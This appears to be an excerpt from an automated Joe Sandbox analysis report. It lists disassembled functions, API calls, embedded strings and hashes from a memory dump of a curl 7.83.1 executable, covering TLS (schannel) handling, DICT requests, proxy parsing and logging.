String ID: (memory blob)$schannel: CertGetCertificateChain error mask: 0x%08x$schannel: CertGetCertificateChain failed: %s$schannel: CertGetCertificateChain trust error CERT_TRUST_IS_NOT_TIME_VALID$schannel: CertGetCertificateChain trust error CERT_TRUST_IS_PARTIAL_CHAIN$schannel: CertGetCertificateChain trust error CERT_TRUST_IS_REVOKED$schannel: CertGetCertificateChain trust error CERT_TRUST_IS_UNTRUSTED_ROOT$schannel: CertGetCertificateChain trust error CERT_TRUST_REVOCATION_STATUS_UNKNOWN$schannel: Failed to read remote certificate context: %s$schannel: failed to create certificate chain user: %s$schannel: failed to create certificate store: %s$schannel: this version of Windows is too old to support certificate verification via CA bundle file.
API String ID: 713146188-3435997996
Opcode ID: 4fc224a11384b06828b303f593a0f7a2389c4caf60ee81d85c2c4ef4a21133e5
Instruction ID: e1703a90916f655b2b118ff54ee182dda8d62b22b39dd4fcd5aa5ac938796e08
Opcode Fuzzy Hash: 4fc224a11384b06828b303f593a0f7a2389c4caf60ee81d85c2c4ef4a21133e5
Instruction Fuzzy Hash: 14D1C130A00218DBEB258F64CC85BEA73B5FF4A310F1441B9EA19DB692D7749D81CF91

Function 008A30C0 Relevance: 38.8, APIs: 10, Strings: 12, Instructions: 261COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 008A3177
___from_strstr_to_strchr.LIBCMT ref: 008A31BB
___from_strstr_to_strchr.LIBCMT ref: 008A31CC
___from_strstr_to_strchr.LIBCMT ref: 008A31E0
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008A324F
___from_strstr_to_strchr.LIBCMT ref: 008A3278
___from_strstr_to_strchr.LIBCMT ref: 008A328B
___from_strstr_to_strchr.LIBCMT ref: 008A329F
___from_strstr_to_strchr.LIBCMT ref: 008A32B3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008A3337

Strings

CLIENT libcurl 7.83.1%sQUIT, xrefs: 008A319F
default, xrefs: 008A3204, 008A32DB
/LOOKUP:, xrefs: 008A3163
/MATCH:, xrefs: 008A30CD
lookup word is missing, xrefs: 008A31F7, 008A32CE
/M:, xrefs: 008A3109
CLIENT libcurl 7.83.1MATCH %s %s %sQUIT, xrefs: 008A3311
/D:, xrefs: 008A3150
CLIENT libcurl 7.83.1DEFINE %s %sQUIT, xrefs: 008A322A
/FIND:, xrefs: 008A3122
Failed sending DICT request, xrefs: 008A325E, 008A333E
/DEFINE:, xrefs: 008A313B

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: ___from_strstr_to_strchr$free
String ID: /D:$/DEFINE:$/FIND:$/LOOKUP:$/M:$/MATCH:$CLIENT libcurl 7.83.1%sQUIT$CLIENT libcurl 7.83.1DEFINE %s %sQUIT$CLIENT libcurl 7.83.1MATCH %s %s %sQUIT$Failed sending DICT request$default$lookup word is missing
API String ID: 3654317688-2903917456
Opcode ID: 8874cc459890cb044ef12c658c91ceb1363ade284c096ac5ad522d2de32d8f93
Instruction ID: ba74d1ffd7ecf8a60c919d147ecb610a8957b6e7d2716008e1970343c7553d9e
Opcode Fuzzy Hash: 8874cc459890cb044ef12c658c91ceb1363ade284c096ac5ad522d2de32d8f93
Instruction Fuzzy Hash: 26711A326087521AFB25562C5C16F2B7BD5FF93B60F28005DF885DB7C2EE61DE048292

Function 008A4585 Relevance: 37.2, APIs: 7, Strings: 14, Instructions: 415libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(ntdll,wine_get_version), ref: 008A463C
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(00000000), ref: 008A4643
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 008A47FA
inet_pton.WS2_32(00000002,?,?), ref: 008A4823
inet_pton.WS2_32(00000017,?,?), ref: 008A483C
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008A497C

Strings

schannel: unable to allocate memory, xrefs: 008A498F
ntdll, xrefs: 008A4637
schannel: failed to send initial handshake data: sent %zd of %lu bytes, xrefs: 008A4B07
Failed to set SNI, xrefs: 008A47E5
ALPN: offers %s, xrefs: 008A485E
schannel: Windows version is old and may not be able to connect to some servers due to lack of SNI, algorithms, etc., xrefs: 008A461C
http, xrefs: 008A4875
/1.1, xrefs: 008A487F
wine_get_version, xrefs: 008A4632
schannel: this version of Windows is too old to support certificate verification via CA bundle file., xrefs: 008A4B1F
http/1.1, xrefs: 008A4859
schannel: using IP address, SNI is not supported by OS., xrefs: 008A4846
schannel: SNI or certificate check failed: %s, xrefs: 008A4A52
schannel: initial InitializeSecurityContext failed: %s, xrefs: 008A4A38, 008A4A6F

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: inet_pton$AddressHandleModuleProc_strdupcalloc
String ID: /1.1$ALPN: offers %s$Failed to set SNI$http$http/1.1$ntdll$schannel: SNI or certificate check failed: %s$schannel: Windows version is old and may not be able to connect to some servers due to lack of SNI, algorithms, etc.$schannel: failed to send initial handshake data: sent %zd of %lu bytes$schannel: initial InitializeSecurityContext failed: %s$schannel: this version of Windows is too old to support certificate verification via CA bundle file.$schannel: unable to allocate memory$schannel: using IP address, SNI is not supported by OS.$wine_get_version
API String ID: 1589778587-246979986
Opcode ID: 8c66c23bd337febef75ff50c4a93a1ce51a7667361b9666088220e1b5da97c15
Instruction ID: 177551dbe2f4751a5a23d3d21a073806db0a95a00d3e78656950872407e862bf
Opcode Fuzzy Hash: 8c66c23bd337febef75ff50c4a93a1ce51a7667361b9666088220e1b5da97c15
Instruction Fuzzy Hash: F6F1DD30A042589FEF288F18DC85BE977B5FF86314F1441ADE849DA282DBB09D84CF52

Function 0089FA70 Relevance: 35.3, APIs: 15, Strings: 5, Instructions: 321networkCOMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0089FAC5
WSACreateEvent.WS2_32 ref: 0089FB36
WSAGetLastError.WS2_32 ref: 0089FB46
WSAEventSelect.WS2_32(?,00000000,00000021), ref: 0089FB69
WSACloseEvent.WS2_32(00000000), ref: 0089FB75
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F6), ref: 0089FB84
GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(00000000), ref: 0089FB97
WaitForMultipleObjects.API-MS-WIN-CORE-SYNCH-L1-2-1(00000001,?,00000000,00000064), ref: 0089FBD6

Strings

WSACloseEvent failed (%d), xrefs: 0089FE49
WSACreateEvent failed (%d), xrefs: 0089FB4D
, xrefs: 0089FDA2
WSAEnumNetworkEvents failed (%d), xrefs: 0089FD1D
Time-out, xrefs: 0089FE1E

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: Event$CloseCreateErrorFileHandleLastMultipleObjectsSelectTypeWaitcalloc
String ID: $Time-out$WSACloseEvent failed (%d)$WSACreateEvent failed (%d)$WSAEnumNetworkEvents failed (%d)
API String ID: 2419709179-2457143120
Opcode ID: 92e28ad9aa1bfdffb148e8ca029b353e132128bb44d8047763fa14da86228e52
Instruction ID: e2f4e99ad2f06fa41c9e8ac5fbd8f79dc8338719b0ade630ae31fda5c31bdc6a
Opcode Fuzzy Hash: 92e28ad9aa1bfdffb148e8ca029b353e132128bb44d8047763fa14da86228e52
Instruction Fuzzy Hash: 29B1A2715083009FDB18EF28C848BAA7BE5FF88714F18493DFA49DB292D771D8418B92

Function 00861070 Relevance: 35.3, APIs: 9, Strings: 11, Instructions: 313fileCOMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001), ref: 0086115C

Part of subcall function 0087027A: QueryPerformanceCounter.API-MS-WIN-CORE-PROFILE-L1-1-0(?,?,?,?,?,?,008610B6), ref: 0087028E
Part of subcall function 0087027A: __alldvrm.LIBCMT ref: 008702A7
Part of subcall function 0087027A: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 008702D1

_time64.API-MS-WIN-CRT-TIME-L1-1-0(00000000), ref: 008610C7
_localtime64.API-MS-WIN-CRT-TIME-L1-1-0(?), ref: 00861116
fopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,008B6C58), ref: 0086117D
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 00861210
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001), ref: 00861221
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000001,?), ref: 008612D3
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000001,?), ref: 00861321
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?), ref: 00861361

Strings

%s== Info: %.*s, xrefs: 008613F2
%s%s , xrefs: 00861244, 008612B5, 00861303, 00861348
<= Recv SSL data, xrefs: 008613B2
%02d:%02d:%02d.%06ld , xrefs: 0086112B
<= Recv header, xrefs: 008613CE
[%zu bytes data], xrefs: 00861256
=> Send data, xrefs: 008613B9
=> Send SSL data, xrefs: 008613AB
Failed to create/open output, xrefs: 0086119F
<= Recv data, xrefs: 008613C0
=> Send header, xrefs: 008613C7

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: __acrt_iob_funcfwrite$CounterPerformanceQueryUnothrow_t@std@@@__alldvrm__ehfuncinfo$??2@_localtime64_time64fopen
String ID: %02d:%02d:%02d.%06ld $%s%s $%s== Info: %.*s$<= Recv SSL data$<= Recv data$<= Recv header$=> Send SSL data$=> Send data$=> Send header$Failed to create/open output$[%zu bytes data]
API String ID: 4066690675-628975109
Opcode ID: 45472642705d4e00d8b937ef6c778d9390eee6edcbc0f7d2b71070b798ce7548
Instruction ID: baf845aa2f2987571aa45db3b779240098251a4294f4a3e152b60e72ee59e4d7
Opcode Fuzzy Hash: 45472642705d4e00d8b937ef6c778d9390eee6edcbc0f7d2b71070b798ce7548
Instruction Fuzzy Hash: A6B1E171E002099FCF11CFA8CD49AEEBBB6FB0A304F194119E645E3752D779A841CBA4

Function 008878C7 Relevance: 33.5, APIs: 16, Strings: 3, Instructions: 282filestringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sha256//,00000008), ref: 00887907
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00887936
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00887994
fopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,008B8DD4), ref: 00887AA3
fseek.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000000,00000002), ref: 00887ABA
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 00887ACE
fseek.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000,00000000), ref: 00887ADF
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00887B16
fread.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?), ref: 00887B2E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00887BB6
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00887BC8
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 00887BCE

Strings

public key hash: sha256//%s, xrefs: 008879A5
sha256//, xrefs: 00887901, 00887A51
;sha256//, xrefs: 00887A0F

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$fseekmalloc$fclosefopenfreadftellstrncmp
String ID: public key hash: sha256//%s$;sha256//$sha256//
API String ID: 477934247-1625489732
Opcode ID: 517a4d1ad7afa97f5e93d3d8002f5b2e58b90d04318d7f559d7819e4c01bc39e
Instruction ID: e9a79b6b87a3dabf6f4fc902a855d1b8b8035a45105cc70ffc59045704282e09
Opcode Fuzzy Hash: 517a4d1ad7afa97f5e93d3d8002f5b2e58b90d04318d7f559d7819e4c01bc39e
Instruction Fuzzy Hash: 9D91E432A04619EFDF15AF68DC04AAEBFB6FF45764F244069E805E7351EB719E008B90

Function 008816CA Relevance: 32.8, APIs: 26, Instructions: 280COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,?,?,00868BF9), ref: 00881740
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,?,?,00868BF9), ref: 00881765
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00868BF9), ref: 00881782
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00868BF9), ref: 008817A6
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008817CB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008817F5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0088181D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00881876
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00881893
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008818B0
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008818EF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0088190C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00881929
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00881946
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00881963
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00881980
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0088199D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008819BA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008819D7
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008819F4
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00881A11
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00881A2E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00881A4B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00881A68
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00881AE2

Part of subcall function 0087D126: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0087D13A

Part of subcall function 00870E10: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00863167), ref: 00870E2C
Part of subcall function 00870E10: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00870E41

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00881AB8

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 6ac6863439105a72108ec18ee01ab292fea5a4c774de921c12250f8ecf163041
Instruction ID: afe7e2b042802d95420812fc955c69c9688878265e52ea998db331e5c947497c
Opcode Fuzzy Hash: 6ac6863439105a72108ec18ee01ab292fea5a4c774de921c12250f8ecf163041
Instruction Fuzzy Hash: EEB10D31700A16EBDB09AF74EC546ACFBA6FF49710F14822AD51A93362CF7578109B91

Function 008A5AA0 Relevance: 31.9, APIs: 2, Strings: 16, Instructions: 411COMMON

Download Yara Rule

Strings

schannel: failed to decrypt data, need more data, xrefs: 008A5E6D
schannel: server indicated shutdown in a prior call, xrefs: 008A5B4A
schannel: SSL/TLS connection renegotiated, xrefs: 008A5E33
schannel: unable to re-allocate memory, xrefs: 008A5BB8, 008A5EA1
schannel: can't renegotiate, encrypted data available, xrefs: 008A5ED1
schannel: failed to read data from server: %s, xrefs: 008A5E8D
schannel: server closed abruptly (missing close_notify), xrefs: 008A5F34
schannel: remote party requests renegotiation, xrefs: 008A5DBC
schannel: server closed the connection, xrefs: 008A5EE5
schannel: enough decrypted data is already available, xrefs: 008A5B18
schannel: an unrecoverable error occurred in a prior call, xrefs: 008A5B33
schannel: renegotiating SSL/TLS connection, xrefs: 008A5DE5
schannel: can't renegotiate, an error is pending, xrefs: 008A5EB7
schannel: renegotiation failed, xrefs: 008A5EC1
schannel: Curl_read_plain returned error %d, xrefs: 008A5C1F
schannel: Curl_read_plain returned CURLE_RECV_ERROR, xrefs: 008A5C0F

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID:
String ID: schannel: Curl_read_plain returned CURLE_RECV_ERROR$schannel: Curl_read_plain returned error %d$schannel: SSL/TLS connection renegotiated$schannel: an unrecoverable error occurred in a prior call$schannel: can't renegotiate, an error is pending$schannel: can't renegotiate, encrypted data available$schannel: enough decrypted data is already available$schannel: failed to decrypt data, need more data$schannel: failed to read data from server: %s$schannel: remote party requests renegotiation$schannel: renegotiating SSL/TLS connection$schannel: renegotiation failed$schannel: server closed abruptly (missing close_notify)$schannel: server closed the connection$schannel: server indicated shutdown in a prior call$schannel: unable to re-allocate memory
API String ID: 0-3083360527
Opcode ID: 5809a09e164b014d4ed192ea4045611d62013c8adfffd5cb698c038b3acb80db
Instruction ID: b12c4f359586c69183088ed697c70f09698a1093a35a06cb0542e7b955bc9fb4
Opcode Fuzzy Hash: 5809a09e164b014d4ed192ea4045611d62013c8adfffd5cb698c038b3acb80db
Instruction Fuzzy Hash: 3AF1BE71608B06AFEB28CF28C841A6AB7F4FF49324F14452DF489D7A41D774E894CB96

Function 00883C44 Relevance: 31.8, APIs: 8, Strings: 10, Instructions: 335COMMON

Download Yara Rule

APIs

Part of subcall function 00875D67: calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,0086A827,?,?,00000000), ref: 00875D7A

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00884013
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00884025
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00884039

Strings

Unsupported proxy scheme for '%s', xrefs: 00883D41
http, xrefs: 00883D2F
socks4, xrefs: 00883D0F
https, xrefs: 00883CBA
socks5h, xrefs: 00883CD3
Unsupported proxy syntax in '%s', xrefs: 00883FE8
socks4a, xrefs: 00883CFB
socks, xrefs: 00883D1F
Unsupported proxy '%s', libcurl is built without the HTTPS-proxy support., xrefs: 00883D74
socks5, xrefs: 00883CE7

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$calloc
String ID: Unsupported proxy '%s', libcurl is built without the HTTPS-proxy support.$Unsupported proxy scheme for '%s'$Unsupported proxy syntax in '%s'$http$https$socks$socks4$socks4a$socks5$socks5h
API String ID: 3095843317-874090715
Opcode ID: ecb089df72f66d55883e32642ad052191e5504e72461e035f1b33fef1615ec3f
Instruction ID: f1dad5191a1fdfdfe0bf442293cf8b3e51c704e743c6762b8ea67447373f6e7f
Opcode Fuzzy Hash: ecb089df72f66d55883e32642ad052191e5504e72461e035f1b33fef1615ec3f
Instruction Fuzzy Hash: 6CC1B371E042099BDB14AF58C845BBEBBB6FF84714F14802AE905F7391DF74AE018BA1

Function 008A3BB5 Relevance: 31.6, APIs: 10, Strings: 8, Instructions: 134COMMON

Download Yara Rule

APIs

_mbschr.API-MS-WIN-CRT-MULTIBYTE-L1-1-0(?,0000005C), ref: 008A3BC3
_mbsnbcmp.API-MS-WIN-CRT-MULTIBYTE-L1-1-0(?,CurrentUser,00000000), ref: 008A3BE1
_mbsnbcmp.API-MS-WIN-CRT-MULTIBYTE-L1-1-0(?,LocalMachine,00000000), ref: 008A3C00
_mbschr.API-MS-WIN-CRT-MULTIBYTE-L1-1-0(?,0000005C), ref: 008A3CC8

Strings

LocalMachineGroupPolicy, xrefs: 008A3C8C
LocalMachine, xrefs: 008A3BFA
CurrentUser, xrefs: 008A3BDB
CurrentService, xrefs: 008A3C19
Users, xrefs: 008A3C54
LocalMachineEnterprise, xrefs: 008A3CA8
Services, xrefs: 008A3C38
CurrentUserGroupPolicy, xrefs: 008A3C70

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: _mbschr_mbsnbcmp
String ID: CurrentService$CurrentUser$CurrentUserGroupPolicy$LocalMachine$LocalMachineEnterprise$LocalMachineGroupPolicy$Services$Users
API String ID: 866314863-3209074899
Opcode ID: 72036c5e9e40135e0456918a65d958f6992890894f12ec759b1074dc6d15149a
Instruction ID: 873b21d50e832c01151de3b9e9cd79277394094e32d4cd9701fd25ff83ab725b
Opcode Fuzzy Hash: 72036c5e9e40135e0456918a65d958f6992890894f12ec759b1074dc6d15149a
Instruction Fuzzy Hash: 5A41BE70205706EFFB115F25AC89B2B7BA9FB92768F204029F841F3742E7B48A189651

Function 0086EEAB Relevance: 30.3, APIs: 6, Strings: 14, Instructions: 263COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,0086F2DD,?,?,?,0086F296), ref: 0086F06B
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,0086F2DD,?,?,?,0086F296), ref: 0086F0B1
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,0086F2DD,?,?,?,0086F296), ref: 0086F0F7
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,0086F2DD,?,?,?,0086F296), ref: 0086F13D

Part of subcall function 0086EEAB: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,0086F2DD,?,?,?,0086F296), ref: 0086F1C0

Part of subcall function 0086E9EB: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,00000000,00000000,blobpointer,?,?,?,?,?,?,?,?), ref: 0086EA46

Strings

curl_mime_filename(part%d, NULL);, xrefs: 0086EFBE
part%d = curl_mime_addpart(mime%d);, xrefs: 0086EEE9
curl_mime_name(part%d, "%s");, xrefs: 0086F11A
(curl_seek_callback) fseek, NULL, stdin);, xrefs: 0086EF61
curl_mime_data_cb(part%d, -1, (curl_read_callback) fread, \, xrefs: 0086EF45
curl_mime_encoder(part%d, "%s");, xrefs: 0086F08E
mime%d = NULL;, xrefs: 0086F048
curl_mime_subparts(part%d, mime%d);, xrefs: 0086F029
curl_mime_headers(part%d, slist%d, 1);, xrefs: 0086F198
slist%d = NULL;, xrefs: 0086F1AF
curl_mime_data(part%d, "%s", CURL_ZERO_TERMINATED);, xrefs: 0086EFF3
curl_mime_type(part%d, "%s");, xrefs: 0086F160
curl_mime_filedata(part%d, "%s");, xrefs: 0086EF8D
curl_mime_filename(part%d, "%s");, xrefs: 0086F0D4

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$malloc
String ID: (curl_seek_callback) fseek, NULL, stdin);$curl_mime_data(part%d, "%s", CURL_ZERO_TERMINATED);$curl_mime_data_cb(part%d, -1, (curl_read_callback) fread, \$curl_mime_encoder(part%d, "%s");$curl_mime_filedata(part%d, "%s");$curl_mime_filename(part%d, "%s");$curl_mime_filename(part%d, NULL);$curl_mime_headers(part%d, slist%d, 1);$curl_mime_name(part%d, "%s");$curl_mime_subparts(part%d, mime%d);$curl_mime_type(part%d, "%s");$mime%d = NULL;$part%d = curl_mime_addpart(mime%d);$slist%d = NULL;
API String ID: 2190258309-2644548734
Opcode ID: 3b847429c11dcdda812dcc2787c25ed9c9c6187c21c558b86937abd138aef5c1
Instruction ID: 2810fcebe671bf35ab49d8edea66bc6d87d05a4ee70e6d79a1bf4066820dc4ec
Opcode Fuzzy Hash: 3b847429c11dcdda812dcc2787c25ed9c9c6187c21c558b86937abd138aef5c1
Instruction Fuzzy Hash: 8281C737944610EB9F265A98AC45E6A3771FF42770B264268FE34E63C7EF35CE008642

Function 0087649E Relevance: 30.2, APIs: 15, Strings: 2, Instructions: 462COMMON

Download Yara Rule

Strings

, xrefs: 0087659D
%%%02x, xrefs: 008766D1

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
